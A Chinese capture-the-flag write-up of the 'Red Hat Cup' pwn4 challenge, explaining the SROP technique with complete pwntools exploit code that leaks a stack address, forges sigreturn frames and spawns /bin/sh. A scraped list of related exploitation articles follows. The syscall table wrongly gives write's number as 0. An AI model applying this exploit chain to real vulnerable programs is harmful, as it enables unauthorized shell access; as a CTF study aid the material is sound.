SROP利用技术

上个周末的“红帽杯”结束了,战队成绩很不错,排名前几。不过有些题目是临时参考网上的思路解出来的,虽然得了分,但当时不是很理解。比赛完了把当时不太熟悉的题目回顾了一下,作为思路的总结和后续的参考。

本篇是针对pwn4的总结。

知道不知道是一种很让人满足的感觉,自己解出题目后,不由得感叹安全研究人员思路的巧妙。拿到PWN4后,在IDA中看了下:

程序非常简短,运行程序后会等待用户输入,将输入读取到栈顶,并从栈顶的位置取指令地址进行执行。

这道题目的利用技术为SROP,SROP网上已经有比较好的介绍文章了,如下:

http://www.freebuf.com/articles/network/87447.html

其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。

首先我们需要知道几个系统调用号,如下:


系统调用


调用号


函数原型


read


0


read(int fd, void *buf, size_t count)


write


0


write(int fd, const void *buf, size_t count)


sigreturn


15


int sigreturn(...)


execve


59


execve(const char *filename, char *const argv[],char *const envp[])

由于我们可以控制ret后指令的地址(栈顶内容),因此我们可以将ret后的指令地址指向程序的起始位置处,达到重复多次输入的目的。

另外需要了解的知识点是,x86子程序的返回值是保存在rax中的,而在执行系统调用的时候,系统调用号也是保存在rax中的,因此我们可以利用这个特性,输入特定字节的内容,然后执行系统调用,就可以调用我们想要执行的函数了。

为了获得flag,我们最终的目的还是要建立一个shell,所以我们希望通过调用execve来执行/bin/sh,由于这个程序非常的简短,没有其他可写的位置,我们只能选择将“/bin/sh”字符串写到栈上去。

0x01 泄露栈地址

在动态调试的过程中,我们发现栈上保存了很多栈的地址:

因此如果能够将栈打印出来,我们是可以从中取到栈上的地址的,进而可以获得一个可以读写的地址。

我们可以构造一段负载,在程序读取这段负载后,可以继续接收输入,此时我们再输入1个字节,在输入结束后,执行系统调用,此时系统调用号为1,将调用write(),如果我们将write()函数的第2个参数指向栈,就可以打印栈上内容了。

因此我们实际的调用应该是write(标准输出,栈上地址,长度),对应的参数分别存放于rdi, rsi, rdx中,我们看看这三个寄存器如何赋值:

Rdi - 可以通过指令“00000000004000BB mov     rdi, rax”进行赋值,此时rax恰好为1

Rsi – 可以通过指令“00000000004000B8 mov     rsi, rsp”进行赋值,在read过程中已经指向栈上了

Rdx – 可以通过指令“00000000004000B3 mov     edx, 400h”进行赋值,在read过程中已经赋值为400h了

因此我们在输入结束时,从00000000004000BB处开始执行,即可对rdi进行赋值,然后执行系统调用,然后返回。

我们来构造第一个输入,该输入结束后,我们期待栈的布局是这样的:

这样,在我们第一个输入结束后,程序会再次等待输入,此时我们输入1个字节后,将会开始执行syscall,此时write()将会被调用。需要注意的是,我们新的输入不能破坏栈上的内容,这个很容易做到,因为之前栈上的内容就是我们构造的。

泄露栈上地址的代码如下:

#!/usr/bin/python2
#-*- coding: utf-8 -*-

from pwn import *

context(os="linux", arch="amd64")

p = process("./pwn4")
read_ret 		= 0x00000000004000B0
rdi_syscall_ret = 0x00000000004000BB
syscall_ret 	= 0x00000000004000BE

#leak an address on stack
payload = 	p64(read_ret)
payload += 	p64(rdi_syscall_ret)
payload +=	p64(read_ret)

p.send(payload)

p.send(payload[8:9])

response = p.recv(24)
stackaddr = u64(response[16:24])
print "leaked stack addr:" + hex(stackaddr)
p.recv()
#This address is to be written
stackaddr = stackaddr & 0xFFFFFFFFFFFFF000

 经过这个步骤,我们得到了一个栈上可读写的地址,保存在stackaddr中,同时程序在等待我们再次输入。

0x02 将rsp指向可写地址

前面提到,在信号处理结束后,内核会从栈上取出Signal Frame,并从中恢复各个寄存器。为了使rsp指向stackaddr,我们需要在栈上构造一个Signal Frame,并且执行sigreturn系统调用。

这个Signal Frame关键的寄存器应该设置如下:

rsp = stackaddr

rip = syscall_ret

同样我们需要构造两次输入。我们希望在第一次输入后,栈的布局是这样的:

这样程序会在我们输入后,再次等待我们输入,如果我们再次输入15个字符,则输入结束后,会执行syscall来调用sigreturn,此时会从栈上恢复各寄存器的值,恢复后,rsp指向了stackaddr,rip指向了程序的起始位置,等待用户再次输入。请记住第二次输入同样不能破坏第一次输入后形成的栈布局。

此步骤代码如下:

#Trigger sigturn to repoint rsp to stackaddr
frame = SigreturnFrame()
frame.rsp = stackaddr
frame.rip = read_ret
payload =  p64(read_ret)
payload += p64(syscall_ret)
payload += str(frame)

p.send(payload)
#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])

0x03 调用execve()建立shell

与第二步类似,我们希望通过sigreturn从栈上恢复Signal Frame时,将寄存器改写,从而来执行系统调用建立shell。我们同样需要两次输入,第一次输入进行栈布局,第二次输入触发sigreturn。

第一次输入后,我们希望栈的布局是这样的:

这样第一次输入后,程序会再次等待输入,此时我们输入15个字节,输入结束后,将会触发sigreturn调用,从栈上取Signal Frame恢复寄存器,我们将寄存器rax的值设置为59,rip设置为syscall_ret,将会执行execve(),该函数的参数通过rdi, rsi, rdx控制。

本步骤利用代码如下:

#Trigger sigturn to call execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = 59	#execve
frame.rdi = stackaddr + 300
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload =  p64(read_ret)
payload += p64(syscall_ret)
payload += str(frame)
payload += "A"*(300 - len(payload))
payload += "/bin/sh\x00"
p.send(payload)

#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])
p.interactive()

0x04 完整利用代码

至此,完整利用代码已经完成。如下:

#!/usr/bin/python2
#-*- coding: utf-8 -*-

from pwn import *

context(os="linux", arch="amd64")

p = process("./pwn4")
read_ret 		= 0x00000000004000B0
rdi_syscall_ret = 0x00000000004000BB
syscall_ret 	= 0x00000000004000BE

#leak an address on stack
payload = 	p64(read_ret)
payload += 	p64(rdi_syscall_ret)
payload +=	p64(read_ret)

p.send(payload)

p.send(payload[8:9])

response = p.recv(24)
stackaddr = u64(response[16:24])
print "leaked stack addr:" + hex(stackaddr)
p.recv()
#This address is to be written
stackaddr = stackaddr & 0xFFFFFFFFFFFFF000

#Trigger sigturn to repoint rsp to stackaddr
frame = SigreturnFrame()
frame.rsp = stackaddr
frame.rip = read_ret
payload =  p64(read_ret)
payload += p64(syscall_ret)
payload += str(frame)

p.send(payload)
#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])

#Trigger sigturn to call execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = 59	#execve
frame.rdi = stackaddr + 300
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload =  p64(read_ret)
payload += p64(syscall_ret)
payload += str(frame)
payload += "A"*(300 - len(payload))
payload += "/bin/sh\x00"
p.send(payload)

#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])
p.interactive()

运行结果:

时间: 2024-07-30 18:24:36

SROP利用技术的相关文章

Windows漏洞利用技术总结

Windows漏洞利用技术总结 1. 前言 本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions.Answer.Discussions)的一次实践.本文通过阅读几位大牛的文章.演讲报告.exploit编写教程等技术文档不断总结修改而成,列举了当前Windows下常见攻击缓解技术的基本原理及绕过方法,具体技术细节则不详细描述,大家可以通过参考文献或其他文章进一步学习.由于本人能力有限,文中可能还存在不少错误,我会不断回顾并完善. 2. Windows攻击缓解技术简介 自从Wi

个人理解的Windows漏洞利用技术发展史

大概四.五年前,看过陈皓的酷壳上面的一篇文章,上面有一句话我一直记得,是关于学习技术的心得和态度的. 要了解技术就一定需要了解整个计算机的技术历史发展和进化路线.因为,你要朝着球运动的轨迹去,而不是朝着球的位置去,要知道球的运动轨迹,你就需要知道它历史上是怎么跑的.

Android内核漏洞利用技术实战:环境搭建&栈溢出实战

前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是arm汇编以及环境的搭建方面.本文对我最近的实践做一个分享,其实很简单. 内核调试环境搭建 搭建平台: ubuntu 16.04 这里使用 android 模拟器来进行内核调试.首先下载内核代码 git clone https://aosp.tuna.tsinghua.edu.cn/kernel/g

服务实体经济转型,正益工场技术助力“双创“落地

在过去的2015年,"互联网+"."大众创业.万众创新"被热议了一整年,各地方政府也纷纷出台政策,诸如设立创业基金,对众创空间等办公用房.网络等给予优惠,对小微企业.孵化机构等给予税收支持等等. 但是,这些政策扶持对推动地方经济的快速增长和产业升级只能从基础硬件层面起到一定的作用,"双创"面临的人才需求.技术创新等问题仍然困扰着各地政府和企业. 国内移动创新创业资深人士正益移动王国春认为,"信息化是新常态下中国经济发展的新动能,'互联网

转:GitHub 万星推荐成长技术清单

转:http://www.4hou.com/info/news/7061.html 最近两天,在reddit安全板块和Twitter上有个GitHub项目很火,叫"Awesome Hacking". "Awesome Hacking"在reddit上有超过四百个赞,但管理员后来认为不适合该板块(Awesome类项目没有新的内容),给了"reject". 这个项目由Twitter账号@HackwithGithub 维护,混Twitter的安全爱好者

GitHub 万星推荐:黑客成长技术清单

GitHub 万星推荐:黑客成长技术清单 导语:如果你需要一些安全入门引导,"Awesome Hacking"无疑是最佳选择之一. 最近两天,在reddit安全板块和Twitter上有个GitHub项目很火,叫"Awesome Hacking". "Awesome Hacking"在reddit上有超过四百个赞,但管理员后来认为不适合该板块(Awesome类项目没有新的内容),给了"reject". 这个项目由Twitter账

用例分析技术阅读笔记二

划分大型系统:    如果是做一个大系统,那么把大系统划分为小系统就是一个非常重要的事情!先选出系统中最重要的部分.主要的体系架构有如下几种: 一.MVC结构,一层用来显示,一层用来控制,一层用来数据存储.例如JSP,Struct就是这种架构. 二.管道和过滤器体系结构.主要思想就是一个部分输入数据,处理数据,然后输出,下一个部分接收,处理,依次类推,例如freeRadius,JRadius就是这种架构. 三.面向对象的体系结构模式.系统是根据数据来定义,并且和各种功能相联系.可以使用用例验证体

技术之路也要懂得理财-------林左鸣:建设军工强国的5条锦囊妙计

出差的时候不经意看到中央2台对林左鸣的专访,他的谈话不仅对自身职业有着透彻的理解,而且对整个国内经济也有着清晰研判,当时就把他的名字记了下来,下边的文章是从网上摘抄下来的,希望能作为以后技术之路的借鉴! 美俄两国在军工产业发展改革走上了截然不同的两条路,一个商办官助,一个官办无助.两条不同之路,留给我们诸多思考.中航工业的掌门人林左鸣,用独具的慧眼,洞悉了不同道路背后隐藏的深刻原因.本文是他在2010年3-5月间在国防大学学习期间思考的成果.原文的标题是<关于国防工业企业加快体制机制创新 为军民

技术人员如何转行(转载)

作者:janua 作为一名技术人员,我总是对未来的前景感到一阵阵悲哀.有感于对这个投票贴的名字,发表一点自身的感慨. 做为技术人员,大家都觉得工资高,工作稳定,还能学到很多的东西.是大部份走出校门或性格内向,或希望过平静生活的人的必然选择.其实,你们有没有问过自己,这条路到底走对了吗? 一个刚毕业的大学生,从事销售和从事技术两种不同的工作,可能工资的差距会达到数倍之远.对于初出校门的人来说,不无一种极端的诱惑力.刚毕业的年青人,当然会果断的选择技术之路. 两年后,我们再看看,由于经验的积累,